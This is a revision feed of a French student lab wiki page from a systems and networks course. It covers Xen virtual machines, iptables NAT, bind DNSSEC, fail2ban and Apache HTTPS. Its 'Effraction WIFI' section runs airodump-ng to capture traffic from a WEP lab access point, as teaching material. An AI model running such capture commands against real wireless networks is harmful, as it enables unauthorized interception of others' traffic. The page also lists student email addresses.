Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Effraction WIFI ===&lt;br /&gt;
On travaille sur la zabeth13 parce que cette machine a une carte réseau fonctionnelle pour faire le TP.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d'identifier l'interface WIFI qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l'interface qui nous intéresse est wlan1&lt;br /&gt;
&lt;br /&gt;
Donc nous pouvons lancer la commande suivante afin d'identifier l'adresse IP de notre cracotte14.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte14 sur le channel 4 et l'adresse ip suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:5D  -62      231        0    0   4   54e. WEP  WEP         cracotte14&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons lancer la commande&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1 --bssid 04:DA:D2:9C:50:5d -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans notre cas la carte réseau de la zabeth13 disfonctionne. Donc Mr Redon me donne une cléUSB Wifi pour pouvoir travailler. De plus les cracotte s'arrête au 13 donc je dois prendre la cracotte02.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12141</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12141"/>
		<updated>2026-02-10T14:05:23Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d'un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d'un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d'un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l'autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l'extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Effraction WIFI ===&lt;br /&gt;
On travaille sur la zabeth13 parce que cette machine a une carte réseau fonctionnelle pour faire le TP.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d'identifier l'interface WIFI qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l'interface qui nous intéresse est wlan1&lt;br /&gt;
&lt;br /&gt;
Donc nous pouvons lancer la commande suivante afin d'identifier l'adresse IP de notre cracotte14.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte14 sur le channel 4 et l'adresse ip suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:5D  -62      231        0    0   4   54e. WEP  WEP         cracotte14&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons lancer la commande&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1 --bssid 04:DA:D2:9C:50:5d -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12049</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12049"/>
		<updated>2026-02-03T16:30:45Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
